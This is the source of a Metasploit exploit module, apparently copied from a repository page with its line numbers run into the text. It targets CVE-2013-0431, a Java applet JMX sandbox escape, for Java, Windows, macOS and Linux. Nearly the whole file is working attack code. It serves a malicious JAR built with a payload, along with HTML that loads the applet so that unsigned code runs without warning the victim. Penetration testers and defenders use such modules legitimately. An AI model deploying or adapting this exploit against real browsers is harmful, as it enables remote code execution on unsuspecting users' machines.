Path: blob/master/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb
31955 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011# include Msf::Exploit::Remote::BrowserAutopwn12# autopwn_info({ :javascript => false })1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Java Applet JMX Remote Code Execution',19'Description' => %q{20This module abuses the JMX classes from a Java Applet to run arbitrary Java code21outside of the sandbox as exploited in the wild in February of 2013. Additionally,22this module bypasses default security settings introduced in Java 7 Update 10 to run23unsigned applet without displaying any warning to the user.24},25'License' => MSF_LICENSE,26'Author' => [27'Unknown', # Vulnerability discovery and exploit in the wild28'Adam Gowdiak', # Vulnerability discovery29'SecurityObscurity', # Exploit analysis and deobfuscation30'juan vazquez' # Metasploit module31],32'References' => [33[ 'CVE', '2013-0431' ],34[ 'OSVDB', '89613' ],35[ 'BID', '57726' ],36[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ],37[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ],38[ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ],39[ 'URL', 'http://pastebin.com/QWU1rqjf' ],40[ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ]41],42'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },43'Targets' => [44[45'Generic (Java Payload)',46{47'Platform' => ['java'],48'Arch' => ARCH_JAVA49}50],51[52'Windows x86 (Native Payload)',53{54'Platform' => 'win',55'Arch' => ARCH_X8656}57],58[59'Mac OS X x86 (Native Payload)',60{61'Platform' => 'osx',62'Arch' => ARCH_X8663}64],65[66'Linux x86 (Native Payload)',67{68'Platform' => 'linux',69'Arch' => ARCH_X8670}71],72],73'DefaultTarget' => 0,74'DisclosureDate' => '2013-01-19',75'Notes' => {76'Reliability' => UNKNOWN_RELIABILITY,77'Stability' => UNKNOWN_STABILITY,78'SideEffects' => UNKNOWN_SIDE_EFFECTS79}80)81)82end8384def on_request_uri(cli, request)85print_status("handling request for #{request.uri}")8687case request.uri88when /\.jar$/i89print_status('Sending JAR')90send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' })91when %r{/$}92print_status('Sending HTML')93send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })94else95send_redirect(cli, get_resource + '/', '')96end97end9899def generate_jar100paths = [101[ 'Exploit.ser' ],102[ 'Exploit.class' ],103[ 'B.class' ]104]105106p = regenerate_payload(cli)107108jar = p.encoded_jar109110paths.each do |path|1111.upto(path.length - 1) do |idx|112full = path[0, idx].join('/') + '/'113if !(jar.entries.map { |e| e.name }.include?(full))114jar.add_file(full, '')115end116end117fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-0431', path), 'rb')118data = fd.read(fd.stat.size)119jar.add_file(path.join('/'), data)120fd.close121end122return jar.pack123end124125def generate_html126html = <<~EOF127<html>128<script language="Javascript">129130var _app = navigator.appName;131132if (_app == 'Microsoft Internet Explorer') {133document.write('<applet archive="#{rand_text_alpha(rand(4..7))}.jar" object="Exploit.ser"></applet>');134} else {135document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(rand(4..7))}.jar"></embed>');136}137138</script>139</html>140EOF141return html142end143end144145146